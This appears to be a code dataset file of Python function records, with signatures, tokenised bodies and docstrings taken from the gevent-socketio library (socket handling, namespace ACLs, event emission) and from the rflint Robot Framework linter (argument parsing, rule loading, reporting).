{"signature": "def socketio_manage(environ, namespaces, request=None, error_handler=None,<EOL>json_loads=None, json_dumps=None):", "body": "socket = environ['<STR_LIT>']<EOL>socket._set_environ(environ)<EOL>socket._set_namespaces(namespaces)<EOL>if request:<EOL><INDENT>socket._set_request(request)<EOL><DEDENT>if error_handler:<EOL><INDENT>socket._set_error_handler(error_handler)<EOL><DEDENT>if json_loads:<EOL><INDENT>socket._set_json_loads(json_loads)<EOL><DEDENT>if json_dumps:<EOL><INDENT>socket._set_json_dumps(json_dumps)<EOL><DEDENT>receiver_loop = socket._spawn_receiver_loop()<EOL>gevent.joinall([receiver_loop])<EOL>return<EOL>", "docstring": "Main SocketIO management function, call from within your Framework of\n    choice's view.\n\n    The ``environ`` variable is the WSGI ``environ``.  It is used to extract\n    Socket object from the underlying server (as the 'socketio' key), and will\n    be attached to both the ``Socket`` and ``Namespace`` objects.\n\n    The ``namespaces`` parameter is a dictionary of the namespace string\n    representation as key, and the BaseNamespace namespace class descendant as\n    a value.  The empty string ('') namespace is the global namespace.  You can\n    use Socket.GLOBAL_NS to be more explicit. So it would look like:\n\n    .. code-block:: python\n\n      namespaces={'': GlobalNamespace,\n                  '/chat': ChatNamespace}\n\n    The ``request`` object is not required, but will probably be useful to pass\n    framework-specific things into your Socket and Namespace functions. It will\n    simply be attached to the Socket and Namespace object (accessible through\n    ``self.request`` in both cases), and it is not accessed in any case by the\n    ``gevent-socketio`` library.\n\n    Pass in an ``error_handler`` if you want to override the default\n    error_handler (which is :func:`socketio.virtsocket.default_error_handler`.\n    The callable you pass in should have the same signature as the default\n    error handler.\n\n    The ``json_loads`` and ``json_dumps`` are overrides for the default\n    ``json.loads`` and ``json.dumps`` function calls.  Override these at\n    the top-most level here.  This will affect all sockets created by this\n    socketio manager, and all namespaces inside.\n\n    This function will block the current \"view\" or \"controller\" in your\n    framework to do the recv/send on the socket, and dispatch incoming messages\n    to your namespaces.\n\n    This is a simple example using Pyramid:\n\n    .. code-block:: python\n\n      def my_view(request):\n          socketio_manage(request.environ, {'': GlobalNamespace}, request)\n\n    NOTE: You must understand that this function is going to be called\n    *only once* per socket opening, *even though* you are using a long\n    polling mechanism.  The subsequent calls (for long polling) will\n    be hooked directly at the server-level, to interact with the\n    active ``Socket`` instance.  This means you will *not* get access\n    to the future ``request`` or ``environ`` objects.  This is of\n    particular importance regarding sessions (like Beaker).  The\n    session will be opened once at the opening of the Socket, and not\n    closed until the socket is closed.  You are responsible for\n    opening and closing the cookie-based session yourself if you want\n    to keep its data in sync with the rest of your GET/POST calls.", "id": "f11812:m0"}
{"signature": "def __init__(self, config, *args, **kwargs):", "body": "self.socketio_connection = False<EOL>self.allowed_paths = None<EOL>self.config = config<EOL>super(SocketIOHandler, self).__init__(*args, **kwargs)<EOL>self.transports = list(self.handler_types.keys())<EOL>if self.server.transports:<EOL><INDENT>self.transports = self.server.transports<EOL>if not set(self.transports).issubset(set(self.handler_types)):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" %<EOL>list(self.handler_types.keys()))<EOL><DEDENT><DEDENT>", "docstring": "Create a new SocketIOHandler.\n\n        :param config: dict Configuration for timeouts and intervals\n          that will go down to the other components, transports, etc..", "id": "f11815:c0:m0"}
{"signature": "def handle_one_response(self):", "body": "path = self.environ.get('<STR_LIT>')<EOL>if not path.lstrip('<STR_LIT:/>').startswith(self.server.resource + '<STR_LIT:/>'):<EOL><INDENT>return super(SocketIOHandler, self).handle_one_response()<EOL><DEDENT>self.status = None<EOL>self.headers_sent = False<EOL>self.result = None<EOL>self.response_length = <NUM_LIT:0><EOL>self.response_use_chunked = False<EOL>request_method = self.environ.get(\"<STR_LIT>\")<EOL>request_tokens = self.RE_REQUEST_URL.match(path)<EOL>handshake_tokens = self.RE_HANDSHAKE_URL.match(path)<EOL>disconnect_tokens = self.RE_DISCONNECT_URL.match(path)<EOL>if handshake_tokens:<EOL><INDENT>return self._do_handshake(handshake_tokens.groupdict())<EOL><DEDENT>elif disconnect_tokens:<EOL><INDENT>tokens = disconnect_tokens.groupdict()<EOL><DEDENT>elif request_tokens:<EOL><INDENT>tokens = request_tokens.groupdict()<EOL><DEDENT>else:<EOL><INDENT>return super(SocketIOHandler, self).handle_one_response()<EOL><DEDENT>sessid = tokens[\"<STR_LIT>\"]<EOL>socket = self.server.get_socket(sessid)<EOL>if not socket:<EOL><INDENT>self.handle_bad_request()<EOL>return []  <EOL><DEDENT>if self.environ['<STR_LIT>'].startswith('<STR_LIT>'):<EOL><INDENT>socket.disconnect()<EOL>self.handle_disconnect_request()<EOL>return []<EOL><DEDENT>transport = self.handler_types.get(tokens[\"<STR_LIT>\"])<EOL>old_class = None<EOL>if issubclass(transport, (transports.WebsocketTransport,<EOL>transports.FlashSocketTransport)):<EOL><INDENT>old_class = self.__class__<EOL>self.__class__ = self.server.ws_handler_class<EOL>self.prevent_wsgi_call = True  <EOL>self.handle_one_response()  <EOL><DEDENT>self.environ['<STR_LIT>'] = socket<EOL>self.transport = transport(self, self.config)<EOL>self.transport.do_exchange(socket, request_method)<EOL>if not socket.connection_established:<EOL><INDENT>socket.connection_established = True<EOL>socket.state = socket.STATE_CONNECTED<EOL>socket._spawn_heartbeat()<EOL>socket._spawn_watcher()<EOL>try:<EOL><INDENT>if socket.wsgi_app_greenlet is None:<EOL><INDENT>start_response = lambda status, headers, exc=None: None<EOL>socket.wsgi_app_greenlet = gevent.spawn(self.application,<EOL>self.environ,<EOL>start_response)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>self.handle_error(*sys.exc_info())<EOL><DEDENT><DEDENT>if tokens['<STR_LIT>'] in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>gevent.joinall(socket.jobs)<EOL><DEDENT>if old_class:<EOL><INDENT>self.__class__ = old_class<EOL><DEDENT>if hasattr(self, '<STR_LIT>') and self.websocket:<EOL><INDENT>if hasattr(self.websocket, '<STR_LIT>'):<EOL><INDENT>del self.websocket.environ<EOL><DEDENT>del self.websocket<EOL><DEDENT>if self.environ:<EOL><INDENT>del self.environ<EOL><DEDENT>", "docstring": "This function deals with *ONE INCOMING REQUEST* from the web.\n\n        It will wire and exchange message to the queues for long-polling\n        methods, otherwise, will stay alive for websockets.", "id": "f11815:c0:m5"}
{"signature": "def is_method_allowed(self, method_name):", "body": "if self.allowed_methods is None:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return method_name in self.allowed_methods<EOL><DEDENT>", "docstring": "ACL system: this checks if you have access to that method_name,\n        according to the set ACLs", "id": "f11816:c0:m1"}
{"signature": "def add_acl_method(self, method_name):", "body": "if isinstance(self.allowed_methods, set):<EOL><INDENT>self.allowed_methods.add(method_name)<EOL><DEDENT>else:<EOL><INDENT>self.allowed_methods = set([method_name])<EOL><DEDENT>", "docstring": "ACL system: make the method_name accessible to the current socket", "id": "f11816:c0:m2"}
{"signature": "def del_acl_method(self, method_name):", "body": "if self.allowed_methods is None:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\"<EOL>+ \"<STR_LIT>\"<EOL>)<EOL><DEDENT>self.allowed_methods.remove(method_name)<EOL>", "docstring": "ACL system: ensure the user will not have access to that method.", "id": "f11816:c0:m3"}
{"signature": "def lift_acl_restrictions(self):", "body": "self.allowed_methods = None<EOL>", "docstring": "ACL system: This removes restrictions on the Namespace's methods, so\n        that all the ``on_*()`` and ``recv_*()`` can be accessed.", "id": "f11816:c0:m4"}
{"signature": "def get_initial_acl(self):", "body": "return None<EOL>", "docstring": "ACL system: If you define this function, you must return\n        all the 'event' names that you want your User (the established\n        virtual Socket) to have access to.\n\n        If you do not define this function, the user will have free\n        access to all of the ``on_*()`` and ``recv_*()`` functions,\n        etc.. methods.\n\n        Return something like: ``set(['recv_connect', 'on_public_method'])``\n\n        You can later modify this list dynamically (inside\n        ``on_connect()`` for example) using:\n\n        .. code-block:: python\n\n           self.add_acl_method('on_secure_method')\n\n        ``self.request`` is available in here, if you're already ready to\n        do some auth. check.\n\n        The ACLs are checked by the :meth:`process_packet` and/or\n        :meth:`process_event` default implementations, before calling\n        the class's methods.\n\n        **Beware**, returning ``None`` leaves the namespace completely\n        accessible.\n\n        The methods that are open are stored in the ``allowed_methods``\n        attribute of the ``Namespace`` instance.", "id": "f11816:c0:m5"}
{"signature": "def reset_acl(self):", "body": "self.allowed_methods = self.get_initial_acl()<EOL>", "docstring": "Resets ACL to its initial value (calling\n        :meth:`get_initial_acl`` and applying that again).", "id": "f11816:c0:m6"}
{"signature": "def process_packet(self, packet):", "body": "packet_type = packet['<STR_LIT:type>']<EOL>if packet_type == '<STR_LIT>':<EOL><INDENT>return self.process_event(packet)<EOL><DEDENT>elif packet_type == '<STR_LIT:message>':<EOL><INDENT>return self.call_method_with_acl('<STR_LIT>', packet,<EOL>packet['<STR_LIT:data>'])<EOL><DEDENT>elif packet_type == '<STR_LIT>':<EOL><INDENT>return self.call_method_with_acl('<STR_LIT>', packet,<EOL>packet['<STR_LIT:data>'])<EOL><DEDENT>elif packet_type == '<STR_LIT>':<EOL><INDENT>self.socket.send_packet(packet)<EOL>return self.call_method_with_acl('<STR_LIT>', packet)<EOL><DEDENT>elif packet_type == '<STR_LIT:error>':<EOL><INDENT>return self.call_method_with_acl('<STR_LIT>', packet)<EOL><DEDENT>elif packet_type == '<STR_LIT>':<EOL><INDENT>callback = self.socket._pop_ack_callback(packet['<STR_LIT>'])<EOL>if not callback:<EOL><INDENT>print(\"<STR_LIT>\" % packet['<STR_LIT>'])<EOL>return<EOL><DEDENT>return callback(*(packet['<STR_LIT:args>']))<EOL><DEDENT>elif packet_type == '<STR_LIT>':<EOL><INDENT>return self.call_method_with_acl('<STR_LIT>', packet)<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\", packet)<EOL><DEDENT>", "docstring": "If you override this, NONE of the functions in this class\n        will be called.  It is responsible for dispatching to\n        :meth:`process_event` (which in turn calls ``on_*()`` and\n        ``recv_*()`` methods).\n\n        If the packet arrived here, it is because it belongs to this endpoint.\n\n        For each packet arriving, the only possible path of execution, that is,\n        the only methods that *can* be called are the following:\n\n        * recv_connect()\n        * recv_message()\n        * recv_json()\n        * recv_error()\n        * recv_disconnect()\n        * on_*()", "id": "f11816:c0:m7"}
{"signature": "def process_event(self, packet):", "body": "args = packet['<STR_LIT:args>']<EOL>name = packet['<STR_LIT:name>']<EOL>if not allowed_event_name_regex.match(name):<EOL><INDENT>self.error(\"<STR_LIT>\",<EOL>\"<STR_LIT>\")<EOL>return<EOL><DEDENT>method_name = '<STR_LIT>' + name.replace('<STR_LIT:U+0020>', '<STR_LIT:_>')<EOL>return self.call_method_with_acl(method_name, packet, *args)<EOL>", "docstring": "This function dispatches ``event`` messages to the correct\n        functions. You should override this method only if you are not\n        satisfied with the automatic dispatching to\n        ``on_``-prefixed methods.  You could then implement your own dispatch.\n        See the source code for inspiration.\n\n        There are two ways to deal with callbacks from the client side\n        (meaning, the browser has a callback waiting for data that this\n        server will be sending back):\n\n        The first one is simply to return an object.  If the incoming\n        packet requested has an 'ack' field set, meaning the browser is\n        waiting for callback data, it will automatically be packaged\n        and sent, associated with the 'ackId' from the browser. The\n        return value must be a *sequence* of elements, that will be\n        mapped to the positional parameters of the callback function\n        on the browser side.\n\n        If you want to *know* that you're dealing with a packet\n        that requires a return value, you can do those things manually\n        by inspecting the ``ack`` and ``id`` keys from the ``packet``\n        object.  Your callback will behave specially if the name of\n        the argument to your method is ``packet``.  It will fill it\n        with the unprocessed ``packet`` object for your inspection,\n        like this:\n\n        .. code-block:: python\n\n          def on_my_callback(self, packet):\n              if 'ack' in packet:\n                  self.emit('go_back', 'param1', id=packet['id'])", "id": "f11816:c0:m8"}
{"signature": "def call_method_with_acl(self, method_name, packet, *args):", "body": "if not self.is_method_allowed(method_name):<EOL><INDENT>self.error('<STR_LIT>',<EOL>'<STR_LIT>' % method_name)<EOL>return<EOL><DEDENT>return self.call_method(method_name, packet, *args)<EOL>", "docstring": "You should always use this function to call the methods,\n        as it checks if the user is allowed according to the ACLs.\n\n        If you override :meth:`process_packet` or\n        :meth:`process_event`, you should definitely want to use this\n        instead of ``getattr(self, 'my_method')()``", "id": "f11816:c0:m9"}
{"signature": "def call_method(self, method_name, packet, *args):", "body": "method = getattr(self, method_name, None)<EOL>if method is None:<EOL><INDENT>self.error('<STR_LIT>',<EOL>'<STR_LIT>' % method_name)<EOL>return<EOL><DEDENT>specs = inspect.getargspec(method)<EOL>func_args = specs.args<EOL>if not len(func_args) or func_args[<NUM_LIT:0>] != '<STR_LIT>':<EOL><INDENT>self.error(\"<STR_LIT>\",<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>return<EOL><DEDENT>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>method = self.exception_handler_decorator(method)<EOL><DEDENT>if len(func_args) == <NUM_LIT:2> and func_args[<NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>return method(packet)<EOL><DEDENT>else:<EOL><INDENT>return method(*args)<EOL><DEDENT>", "docstring": "This function is used to implement the two behaviors on dispatched\n        ``on_*()`` and ``recv_*()`` method calls.\n\n        Those are the two behaviors:\n\n        * If there is only one parameter on the dispatched method and\n          it is named ``packet``, then pass in the packet dict as the\n          sole parameter.\n\n        * Otherwise, pass in the arguments as specified by the\n          different ``recv_*()`` methods args specs, or the\n          :meth:`process_event` documentation.\n\n        This method will also consider the\n        ``exception_handler_decorator``.  See Namespace documentation\n        for details and examples.", "id": "f11816:c0:m10"}
{"signature": "def initialize(self):", "body": "pass<EOL>", "docstring": "This is called right after ``__init__``, on the initial\n        creation of a namespace so you may handle any setup job you\n        need.\n\n        Namespaces are created only when some packets arrive that ask\n        for the namespace.  They are not created altogether when a new\n        :class:`~socketio.virtsocket.Socket` connection is established,\n        so you can have many many namespaces assigned (when calling\n        :func:`~socketio.socketio_manage`) without clogging the\n        memory.\n\n        If you override this method, you probably want to initialize\n        the variables you're going to use in the events handled by this\n        namespace, setup ACLs, etc..\n\n        This method is called on all base classes following the _`method resolution order <http://docs.python.org/library/stdtypes.html?highlight=mro#class.__mro__>`\n        so you don't need to call super() to initialize the mixins or\n        other derived classes.", "id": "f11816:c0:m11"}
{"signature": "def recv_message(self, data):", "body": "return data<EOL>", "docstring": "This is more of a backwards compatibility hack. This will be\n        called for messages sent with the original send() call on the client\n        side. This is NOT the 'message' event, which you will catch with\n        'on_message()'. The data arriving here is a simple string, with no\n        other info.\n\n        If you want to handle those messages, you should override this method.", "id": "f11816:c0:m12"}
{"signature": "def recv_json(self, data):", "body": "return data<EOL>", "docstring": "This is more of a backwards compatibility hack. This will be\n        called for JSON packets sent with the original json() call on the\n        JavaScript side. This is NOT the 'json' event, which you will catch\n        with 'on_json()'. The data arriving here is a python dict, with no\n        event name.\n\n        If you want to handle those messages, you should override this method.", "id": "f11816:c0:m13"}
{"signature": "def recv_disconnect(self):", "body": "self.disconnect(silent=True)<EOL>", "docstring": "Override this function if you want to do something when you get a\n        *force disconnect* packet.\n\n        By default, this function calls the :meth:`disconnect` clean-up\n        function.  You probably want to call it yourself also, and put\n        your clean-up routines in :meth:`disconnect` rather than here,\n        because that :meth:`disconnect` function gets called\n        automatically upon disconnection.  This function is a\n        pre-handle for when you get the `disconnect packet`.", "id": "f11816:c0:m14"}
{"signature": "def recv_connect(self):", "body": "pass<EOL>", "docstring": "Called the first time a client connection is open on a\n        Namespace. This *does not* fire on the global namespace.\n\n        This allows you to do boilerplate stuff for\n        the namespace like connecting to rooms, broadcasting events\n        to others, doing authorization work, and tweaking the ACLs to open\n        up the rest of the namespace (if it was closed at the\n        beginning by having :meth:`get_initial_acl` return only\n        ['recv_connect'])\n\n        Also see the different :ref:`mixins <mixins_module>` (like\n        `RoomsMixin`, `BroadcastMixin`).", "id": "f11816:c0:m15"}
{"signature": "def recv_error(self, packet):", "body": "pass<EOL>", "docstring": "Override this function to handle the errors we get from the client.\n\n        :param packet: the full packet.", "id": "f11816:c0:m16"}
{"signature": "def error(self, error_name, error_message, msg_id=None, quiet=False):", "body": "self.socket.error(error_name, error_message, endpoint=self.ns_name,<EOL>msg_id=msg_id, quiet=quiet)<EOL>", "docstring": "Use this to use the configured ``error_handler`` yield an\n        error message to your application.\n\n        :param error_name: is a short string, to associate messages to recovery\n                           methods\n        :param error_message: is some human-readable text, describing the error\n        :param msg_id: is used to associate with a request\n        :param quiet: specific to error_handlers. The default doesn't send a\n                      message to the user, but shows a debug message on the\n                      developer console.", "id": "f11816:c0:m17"}
{"signature": "def send(self, message, json=False, callback=None):", "body": "pkt = dict(type=\"<STR_LIT:message>\", data=message, endpoint=self.ns_name)<EOL>if json:<EOL><INDENT>pkt['<STR_LIT:type>'] = \"<STR_LIT>\"<EOL><DEDENT>if callback:<EOL><INDENT>pkt['<STR_LIT>'] = True<EOL>pkt['<STR_LIT:id>'] = msgid = self.socket._get_next_msgid()<EOL>self.socket._save_ack_callback(msgid, callback)<EOL><DEDENT>self.socket.send_packet(pkt)<EOL>", "docstring": "Use send to send a simple string message.\n\n        If ``json`` is True, the message will be encoded as a JSON object\n        on the wire, and decoded on the other side.\n\n        This is mostly for backwards compatibility.  ``emit()`` is more fun.\n\n        :param callback: This is a callback function that will be\n                         called automatically by the client upon\n                         reception.  It does not verify that the\n                         listener over there was completed with\n                         success.  It just tells you that the browser\n                         got a hold of the packet.\n        :type callback: callable", "id": "f11816:c0:m18"}
{"signature": "def emit(self, event, *args, **kwargs):", "body": "callback = kwargs.pop('<STR_LIT>', None)<EOL>if kwargs:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>pkt = dict(type=\"<STR_LIT>\", name=event, args=args,<EOL>endpoint=self.ns_name)<EOL>if callback:<EOL><INDENT>pkt['<STR_LIT>'] = '<STR_LIT:data>'<EOL>pkt['<STR_LIT:id>'] = msgid = self.socket._get_next_msgid()<EOL>self.socket._save_ack_callback(msgid, callback)<EOL><DEDENT>self.socket.send_packet(pkt)<EOL>", "docstring": "Use this to send a structured event, with a name and arguments, to\n        the client.\n\n        By default, it uses this namespace's endpoint. You can send messages on\n        other endpoints with something like:\n\n            ``self.socket['/other_endpoint'].emit()``.\n\n        However, it is possible that the ``'/other_endpoint'`` was not\n        initialized yet, and that would yield a ``KeyError``.\n\n        The only supported ``kwargs`` is ``callback``.  All other parameters\n        must be passed positionally.\n\n        :param event: The name of the event to trigger on the other end.\n        :param callback: Pass in the callback keyword argument to define a\n                         call-back that will be called when the client acks.\n\n                         This callback is slightly different from the one from\n                         ``send()``, as this callback will receive parameters\n                         from the explicit call of the ``ack()`` function\n                         passed to the listener on the client side.\n\n                         The remote listener will need to explicitly ack (by\n                         calling its last argument, a function which is\n                         usually called 'ack') with some parameters indicating\n                         success or error.  The 'ack' packet coming back here\n                         will then trigger the callback function with the\n                         returned values.\n        :type callback: callable", "id": "f11816:c0:m19"}
{"signature": "def spawn(self, fn, *args, **kwargs):", "body": "<EOL>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>fn = self.exception_handler_decorator(fn)<EOL><DEDENT>new = gevent.spawn(fn, *args, **kwargs)<EOL>self.jobs.append(new)<EOL>return new<EOL>", "docstring": "Spawn a new process, attached to this Namespace.\n\n        It will be monitored by the \"watcher\" process in the Socket. If the\n        socket disconnects, all these greenlets are going to be killed, after\n        calling BaseNamespace.disconnect()\n\n        This method uses the ``exception_handler_decorator``.  See\n        Namespace documentation for more information.", "id": "f11816:c0:m20"}
{"signature": "def disconnect(self, silent=False):", "body": "if not silent:<EOL><INDENT>packet = {\"<STR_LIT:type>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": self.ns_name}<EOL>self.socket.send_packet(packet)<EOL><DEDENT>try:<EOL><INDENT>self.socket.remove_namespace(self.ns_name)<EOL><DEDENT>finally:<EOL><INDENT>self.kill_local_jobs()<EOL><DEDENT>", "docstring": "Send a 'disconnect' packet, so that the user knows it has been\n        disconnected (booted actually).  This will trigger an onDisconnect()\n        call on the client side.\n\n        Over here, we will kill all ``spawn``ed processes and remove the\n        namespace from the Socket object.\n\n        :param silent: do not actually send the packet (if they asked for a\n                       disconnect for example), but just kill all jobs spawned\n                       by this Namespace, and remove it from the Socket.", "id": "f11816:c0:m21"}
{"signature": "def kill_local_jobs(self):", "body": "gevent.killall(self.jobs)<EOL>self.jobs = []<EOL>", "docstring": "Kills all the jobs spawned with BaseNamespace.spawn() on a namespace\n        object.\n\n        This will be called automatically if the ``watcher`` process detects\n        that the Socket was closed.", "id": "f11816:c0:m22"}
{"signature": "def run(self, args):", "body": "self.args = self.parse_and_process_args(args)<EOL>if self.args.version:<EOL><INDENT>print(__version__)<EOL>return <NUM_LIT:0><EOL><DEDENT>if self.args.rulefile:<EOL><INDENT>for filename in self.args.rulefile:<EOL><INDENT>self._load_rule_file(filename)<EOL><DEDENT><DEDENT>if self.args.list:<EOL><INDENT>self.list_rules()<EOL>return <NUM_LIT:0><EOL><DEDENT>if self.args.describe:<EOL><INDENT>self._describe_rules(self.args.args)<EOL>return <NUM_LIT:0><EOL><DEDENT>self.counts = { ERROR: <NUM_LIT:0>, WARNING: <NUM_LIT:0>, \"<STR_LIT>\": <NUM_LIT:0>}<EOL>for filename in self.args.args:<EOL><INDENT>if not (os.path.exists(filename)):<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\" % filename)<EOL>continue<EOL><DEDENT>if os.path.isdir(filename):<EOL><INDENT>self._process_folder(filename)<EOL><DEDENT>else:<EOL><INDENT>self._process_file(filename)<EOL><DEDENT><DEDENT>if self.counts[ERROR] > <NUM_LIT:0>:<EOL><INDENT>return self.counts[ERROR] if self.counts[ERROR] < <NUM_LIT> else <NUM_LIT:255><EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Parse command line arguments, and run rflint", "id": "f11825:c0:m7"}
{"signature": "def list_rules(self):", "body": "for rule in sorted(self.all_rules, key=lambda rule: rule.name):<EOL><INDENT>print(rule)<EOL>if self.args.verbose:<EOL><INDENT>for line in rule.doc.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>print(\"<STR_LIT:U+0020>\", line)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Print a list of all rules", "id": "f11825:c0:m13"}
{"signature": "def report(self, linenumber, filename, severity, message, rulename, char):", "body": "if self._print_filename is not None:<EOL><INDENT>print(\"<STR_LIT>\" + self._print_filename)<EOL>self._print_filename = None<EOL><DEDENT>if severity in (WARNING, ERROR):<EOL><INDENT>self.counts[severity] += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>self.counts[\"<STR_LIT>\"] += <NUM_LIT:1><EOL><DEDENT>print(self.args.format.format(linenumber=linenumber, filename=filename,<EOL>severity=severity, message=message.encode('<STR_LIT:utf-8>'),<EOL>rulename=rulename, char=char))<EOL>", "docstring": "Report a rule violation", "id": "f11825:c0:m14"}
{"signature": "def _get_rules(self, cls):", "body": "result = []<EOL>for rule_class in cls.__subclasses__():<EOL><INDENT>rule_name = rule_class.__name__.lower()<EOL>if rule_name not in self._rules:<EOL><INDENT>rule = rule_class(self)<EOL>self._rules[rule_name] = rule<EOL><DEDENT>result.append(self._rules[rule_name])<EOL><DEDENT>return result<EOL>", "docstring": "Returns a list of rules of a given class\n\n        Rules are treated as singletons - we only instantiate each\n        rule once.", "id": "f11825:c0:m15"}
{"signature": "def _load_rule_file(self, filename):", "body": "if not (os.path.exists(filename)):<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\" % filename)<EOL>return<EOL><DEDENT>try:<EOL><INDENT>basename = os.path.basename(filename)<EOL>(name, ext) = os.path.splitext(basename)<EOL>imp.load_source(name, filename)<EOL><DEDENT>except Exception as e:<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\" % (filename, str(e)))<EOL><DEDENT>", "docstring": "Import the given rule file", "id": "f11825:c0:m16"}
{"signature": "def parse_and_process_args(self, args):", "body": "parser = argparse.ArgumentParser(<EOL>prog=\"<STR_LIT>\",<EOL>description=\"<STR_LIT>\",<EOL>formatter_class=argparse.RawDescriptionHelpFormatter,<EOL>epilog = (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT:\\n>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT:\\n>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT:\\n>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT:\\n>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT:\\n>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL>)<EOL>parser.add_argument(\"<STR_LIT>\", \"<STR_LIT>\", metavar=\"<STR_LIT>\", action=SetErrorAction,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", \"<STR_LIT>\", metavar=\"<STR_LIT>\", action=SetIgnoreAction,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", \"<STR_LIT>\", metavar=\"<STR_LIT>\", action=SetWarningAction,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", \"<STR_LIT>\", action=\"<STR_LIT:store_true>\",<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", \"<STR_LIT>\", action=\"<STR_LIT:store_true>\",<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", action=\"<STR_LIT>\", dest=\"<STR_LIT>\", <EOL>default=True,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", \"<STR_LIT>\", <EOL>help=\"<STR_LIT>\",<EOL>default='<STR_LIT>')<EOL>parser.add_argument(\"<STR_LIT>\", action=\"<STR_LIT:store_true>\", default=False,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", \"<STR_LIT>\", action=\"<STR_LIT:store_true>\", default=False,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", \"<STR_LIT:-c>\", action=ConfigureAction,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", \"<STR_LIT>\", action=\"<STR_LIT:store_true>\", default=False,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", \"<STR_LIT>\", action=RulefileAction,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", \"<STR_LIT>\", action=ArgfileLoader,<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT:args>', metavar=\"<STR_LIT:file>\", nargs=argparse.REMAINDER)<EOL>ns = argparse.Namespace()<EOL>setattr(ns, \"<STR_LIT>\", self)<EOL>args = parser.parse_args(args, ns)<EOL>Rule.output_format = args.format<EOL>return args<EOL>", "docstring": "Handle the parsing of command line arguments.", "id": "f11825:c0:m17"}
{"signature": "def report(self, obj, message, linenum, char_offset=<NUM_LIT:0>):", "body": "self.controller.report(linenumber=linenum, filename=obj.path,<EOL>severity=self.severity, message=message,<EOL>rulename = self.__class__.__name__,<EOL>char=char_offset)<EOL>", "docstring": "Report an error or warning", "id": "f11826:c0:m3"}
{"signature": "@property<EOL><INDENT>def doc(self):<DEDENT>", "body": "if not self.__doc__:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>lines = self.__doc__.expandtabs().splitlines()<EOL>indent = sys.maxsize<EOL>for line in lines[<NUM_LIT:1>:]:<EOL><INDENT>stripped = line.lstrip()<EOL>if stripped:<EOL><INDENT>indent = min(indent, len(line) - len(stripped))<EOL><DEDENT><DEDENT>trimmed = [lines[<NUM_LIT:0>].strip()]<EOL>if indent < sys.maxsize:<EOL><INDENT>for line in lines[<NUM_LIT:1>:]:<EOL><INDENT>trimmed.append(line[indent:].rstrip())<EOL><DEDENT><DEDENT>while trimmed and not trimmed[-<NUM_LIT:1>]:<EOL><INDENT>trimmed.pop()<EOL><DEDENT>while trimmed and not trimmed[<NUM_LIT:0>]:<EOL><INDENT>trimmed.pop(<NUM_LIT:0>)<EOL><DEDENT>return '<STR_LIT:\\n>'.join(trimmed)<EOL>", "docstring": "Algorithm from https://www.python.org/dev/peps/pep-0257/", "id": "f11826:c0:m4"}
{"signature": "def normalize_name(string):", "body": "return string.replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\").replace(\"<STR_LIT:_>\", \"<STR_LIT>\").lower()<EOL>", "docstring": "convert to lowercase, remove spaces and underscores", "id": "f11829:m0"}
{"signature": "def RobotFactory(path, parent=None):", "body": "if os.path.isdir(path):<EOL><INDENT>return SuiteFolder(path, parent)<EOL><DEDENT>else:<EOL><INDENT>rf = RobotFile(path, parent)<EOL>for table in rf.tables:<EOL><INDENT>if isinstance(table, TestcaseTable):<EOL><INDENT>rf.__class__ = SuiteFile<EOL>return rf<EOL><DEDENT><DEDENT>rf.__class__ = ResourceFile<EOL>return rf<EOL><DEDENT>", "docstring": "Return an instance of SuiteFile, ResourceFile, SuiteFolder\n\n    Exactly which is returned depends on whether it's a file or\n    folder, and if a file, the contents of the file. If there is a\n    testcase table, this will return an instance of SuiteFile,\n    otherwise it will return an instance of ResourceFile.", "id": "f11834:m0"}
